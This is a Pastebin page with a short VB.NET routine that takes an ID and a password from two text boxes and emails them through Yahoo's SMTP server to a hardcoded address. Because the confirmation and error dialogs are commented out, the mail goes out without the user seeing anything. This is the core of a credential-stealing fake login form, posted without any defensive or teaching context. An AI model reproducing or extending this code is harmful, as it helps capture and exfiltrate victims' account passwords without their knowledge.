Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'call the function by putting this into a button
- ' Call sendEmail()
- Sub sendEmail()
- Try
- SmtpServer.Credentials = New Net.NetworkCredential(Trim("YOUREMAIL@yahoo.com"), Trim("PASSWORD"))
- SmtpServer.Port = "587"
- SmtpServer.Host = "smtp.mail.yahoo.com"
- mail.From = New MailAddress("YOUREMAIL@yahoo.com")
- mail.To.Add("YOUREMAIL@yahoo.com")
- mail.Subject = Trim(TextBox1.Text)
- mail.Body = "ID: " & TextBox1.Text & _
- Environment.NewLine & _
- "PW: " & TextBox2.Text
- SmtpServer.Send(mail)
- 'MsgBox("Mail Sent", MsgBoxStyle.Information, "Mail Sent")
- Catch ex As Exception
- 'MsgBox(ex.Message.ToString)
- End Try
- End Sub
Add Comment
Please, Sign In to add comment